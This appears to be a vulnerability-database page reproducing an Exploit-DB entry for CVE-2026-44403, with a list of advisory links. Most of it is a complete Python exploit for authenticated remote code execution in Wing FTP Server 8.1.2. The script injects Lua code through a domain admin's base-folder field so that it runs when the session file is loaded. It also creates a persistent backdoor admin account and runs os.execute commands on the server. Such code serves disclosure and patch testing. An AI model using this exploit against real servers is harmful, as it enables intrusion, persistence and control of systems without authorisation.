| Reporter | Title | Published | Views | Family All 14 |
|---|---|---|---|---|
| Exploit for CVE-2026-44403 | 14 May 202606:58 | – | githubexploit | |
| CVE-2026-44403 | 12 May 202620:43 | – | attackerkb | |
| CVE-2026-44403 | 14 May 202607:00 | – | circl | |
| Wing FTP Server 代码注入漏洞 | 12 May 202600:00 | – | cnnvd | |
| CVE-2026-44403 | 12 May 202620:43 | – | cve | |
| CVE-2026-44403 Wing FTP Server < 8.1.3 Authenticated Remote Code Execution via Session Serialization | 12 May 202620:43 | – | cvelist | |
| Wing FTP Server 8.1.3 - Authenticated Remote Code Execution | 29 May 202600:00 | – | exploitdb | |
| EUVD-2026-29848 | 12 May 202621:31 | – | euvd | |
| CVE-2026-44403 | 12 May 202621:16 | – | nvd | |
| 📄 Wing FTP Server 8.1.2 Remote Code Execution via Session Poisoning | 18 Jun 202600:00 | – | packetstorm |
# Exploit Title: Wing FTP Server 8.1.3 - Authenticated Remote Code Execution
# Date: 12.05.2026
# Exploit Author: Ünsal Furkan Harani
# Vendor Homepage:
[https://www.wftpserver.com/](https://www.wftpserver.com/download.htm)
# Software Link:
https://www.wftpserver.com/download.htm
# Version: v8.1.2
# Tested on: Wing FTP Server <= 8.1.2, fixed in 8.1.3
# CVE : CVE-2026-44403
Wing FTP Server v8.1.2 contains a Remote Code Execution (RCE) vulnerability in the session serialization mechanism. An authenticated administrator can inject arbitrary Lua code through the domain admin `mydirectory` (basefolder) field, which gets executed server-side via `loadfile()`.
#!/usr/bin/env python3
"""
PREREQUISITES:
- Valid full admin credentials (not readonly, not domain admin)
- Target: Wing FTP Server web admin panel (default port 5466)
IMPACT:
Remote Code Execution as the Wing FTP Server service account.
Persistence: payload re-executes every time the poisoned session is loaded.
"""
import requests
import hashlib
import json
import sys
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
class WingFTPSessionPoisoning:
def __init__(self, target, admin_user, admin_pass, use_ssl=False):
proto = "https" if use_ssl else "http"
self.base_url = f"{proto}://{target}"
self.admin_user = admin_user
self.admin_pass = admin_pass
self.session = requests.Session()
self.session.verify = False
def login(self):
"""Authenticate to the admin panel and obtain UIDADMIN session cookie."""
# service_login.html accepts credentials via POST
url = f"{self.base_url}/service_login.html"
data = {
"username": self.admin_user,
"password": self.admin_pass,
}
headers = {
"Referer": f"{self.base_url}/admin_login.html",
}
resp = self.session.post(url, data=data, headers=headers)
try:
result = resp.json()
if result.get("code") == 0:
print(f"[+] Login successful as '{self.admin_user}'")
return True
elif result.get("code") in (1, 2):
print(f"[-] 2FA required — this PoC doesn't handle TOTP")
return False
else:
print(f"[-] Login failed: {result}")
return False
except Exception:
# Legacy endpoint (admin_loginok.html) returns HTML
if "logged in ok" in resp.text or "main.html" in resp.text:
print(f"[+] Login successful (legacy endpoint)")
return True
print(f"[-] Login failed: {resp.text[:200]}")
return False
def create_poisoned_admin(self, poison_admin_user, poison_admin_pass, lua_payload):
"""
Create a domain admin with a poisoned 'mydirectory' (basefolder) field.
The mydirectory value will be serialized as:
_SESSION['admin_basefolder']=[[<mydirectory_value>]]
Our payload breaks out of the [[ ]] long string:
_SESSION['admin_basefolder']=[[/tmp/x]]<LUA_PAYLOAD>--]]
When this session file is loaded via loadfile() + f(), the payload executes.
"""
# Construct the poisoned basefolder value
# Format: <innocent_prefix>]]<lua_code>--
# The ]] closes the long string, code executes, -- comments out the rest
poisoned_basefolder = f"/tmp/x]]{lua_payload}--"
admin_obj = {
"username": poison_admin_user,
"password": poison_admin_pass,
"readonly": False,
"domainadmin": 1, # Make it a domain admin
"domainlist": "", # Will be set by server
"mydirectory": poisoned_basefolder, # THIS IS THE PAYLOAD
"ipmasks": [],
"enable_two_factor": False,
"two_factor_code": "",
}
url = f"{self.base_url}/service_add_admin.html"
headers = {
"Referer": f"{self.base_url}/main.html",
}
admin_json = json.dumps(admin_obj, separators=(',', ':'))
print(f"[*] Creating poisoned domain admin '{poison_admin_user}'...")
print(f"[*] Poisoned basefolder: {poisoned_basefolder}")
# Use multipart/form-data — Wing FTP's Lua POST parser handles it more reliably
resp = self.session.post(url, files={"admin": (None, admin_json)}, headers=headers)
try:
result = resp.json()
if result.get("code") == 0:
print(f"[+] Poisoned admin created successfully!")
return True
elif result.get("code") == -3:
print(f"[!] Admin '{poison_admin_user}' already exists. Trying modify...")
return self.modify_poisoned_admin(poison_admin_user, poison_admin_pass, lua_payload)
else:
print(f"[-] Failed to create admin: {result}")
return False
except Exception:
print(f"[-] Unexpected response: {resp.text[:200]}")
return False
def modify_poisoned_admin(self, poison_admin_user, poison_admin_pass, lua_payload):
"""Modify existing admin to inject the poisoned basefolder."""
poisoned_basefolder = f"/tmp/x]]{lua_payload}--"
admin_obj = {
"username": poison_admin_user,
"password": poison_admin_pass,
"readonly": False,
"domainadmin": 1,
"domainlist": "",
"mydirectory": poisoned_basefolder,
"ipmasks": [],
"enable_two_factor": False,
"two_factor_code": "",
}
# service_modify_admin.html has NO bracket stripping at all
url = f"{self.base_url}/service_modify_admin.html"
headers = {
"Referer": f"{self.base_url}/main.html",
}
admin_json = json.dumps(admin_obj, separators=(',', ':'))
resp = self.session.post(url, files={"admin": (None, admin_json), "oldname": (None, poison_admin_user)}, headers=headers)
try:
result = resp.json()
if result.get("code") == 0:
print(f"[+] Admin '{poison_admin_user}' modified with poisoned basefolder!")
return True
else:
print(f"[-] Failed to modify admin: {result}")
return False
except Exception:
print(f"[-] Unexpected response: {resp.text[:200]}")
return False
def trigger_payload(self, poison_admin_user, poison_admin_pass):
"""
Trigger the payload by logging in as the poisoned domain admin.
On login, service_login.html:95-96 stores the basefolder in session:
rawset(_SESSION,"admin_basefolder",basefolder)
rawset(_SESSION,"admin_nowpath",basefolder)
SessionModule.save() serializes it as:
_SESSION['admin_basefolder']=[[/tmp/x]]<PAYLOAD>--]]
The payload executes on the NEXT session load (any subsequent request).
"""
print(f"\n[*] Triggering payload by logging in as '{poison_admin_user}'...")
trigger_session = requests.Session()
trigger_session.verify = False
url = f"{self.base_url}/service_login.html"
data = {
"username": poison_admin_user,
"password": poison_admin_pass,
}
headers = {
"Referer": f"{self.base_url}/admin_login.html",
}
# Step 1: Login — stores poisoned basefolder in session
resp = trigger_session.post(url, data=data, headers=headers)
print(f"[*] Login response: {resp.text[:200]}")
# Step 2: Any subsequent request triggers loadfile() on the session file
# The session file now contains the Lua payload
trigger_url = f"{self.base_url}/service_get_dir_list.html"
headers["Referer"] = f"{self.base_url}/main.html"
resp2 = trigger_session.post(trigger_url, data={"dir": ""}, headers=headers)
print(f"[*] Trigger response: {resp2.status_code}")
print(f"[+] Payload should have executed on the server!")
return True
def demo_session_file():
"""
Demonstrate what the poisoned session file looks like.
Shows the exact Lua code that gets written and executed.
"""
print("=" * 70)
print("DEMONSTRATION: Poisoned Session File Content")
print("=" * 70)
payload = 'os.execute("id > /tmp/wingftp_pwned.txt")'
basefolder = f'/tmp/x]]{payload}--'
print(f"\n[1] Admin sets mydirectory to:")
print(f" {basefolder}")
print(f"\n[2] On login, session is saved. serialize() outputs:")
session_content = f"""_SESSION['admin']=[[poisoned_admin]]
_SESSION['admin_basefolder']=[[{basefolder}]]
_SESSION['admin_domainadmin']=1
_SESSION['admin_domainlist']=[[]]
_SESSION['admin_nowpath']=[[{basefolder}]]
_SESSION['admin_readonly']=0
_SESSION['ipaddress']=[[127.0.0.1]]
_SESSION['logined']=[[true]]"""
print(f" --- session file content ---")
for line in session_content.split('\n'):
print(f" {line}")
print(f" --- end ---")
print(f"\n[3] Lua parser sees the basefolder line as:")
print(f" _SESSION['admin_basefolder']=[[/tmp/x]] --> string '/tmp/x'")
print(f" {payload} --> EXECUTED AS CODE!")
print(f" --]] --> comment (ignored)")
print(f"\n[4] Same for admin_nowpath line — payload executes TWICE.")
print(f"\n[5] Result: '{payload}' runs as server process.")
print("=" * 70)
def main():
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <mode> [args...]")
print(f"")
print(f"Modes:")
print(f" demo — Show how the vulnerability works")
print(f" exploit <host:port> <user> <pass> — Create poisoned admin and trigger RCE")
print(f"")
print(f"Examples:")
print(f" {sys.argv[0]} demo")
print(f" {sys.argv[0]} exploit 192.168.1.10:5466 admin password123")
sys.exit(1)
mode = sys.argv[1]
if mode == "demo":
demo_session_file()
elif mode == "exploit":
if len(sys.argv) < 5:
print("Usage: exploit <host:port> <admin_user> <admin_pass>")
sys.exit(1)
target = sys.argv[2]
admin_user = sys.argv[3]
admin_pass = sys.argv[4]
# Default payload — write proof file (Windows-compatible)
lua_payload = 'os.execute("whoami > C:\\\\wingftp_pwned.txt")'
poison_admin = "svc_backup"
poison_pass = "P@ssw0rd123!"
print(f"[*] Wing FTP Server Session Poisoning RCE — Chain 2")
print(f"[*] Target: {target}")
print(f"[*] Payload: {lua_payload}")
print(f"[*] Poisoned admin account: {poison_admin}")
print()
exploit = WingFTPSessionPoisoning(target, admin_user, admin_pass)
if not exploit.login():
sys.exit(1)
if not exploit.create_poisoned_admin(poison_admin, poison_pass, lua_payload):
sys.exit(1)
exploit.trigger_payload(poison_admin, poison_pass)
print(f"\n[*] Check /tmp/wingftp_pwned.txt on target for proof of execution")
else:
print(f"Unknown mode: {mode}")
sys.exit(1)
if __name__ == "__main__":
main()
Sent with [Proton Mail](https://proton.me/mail/home) secure email.Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation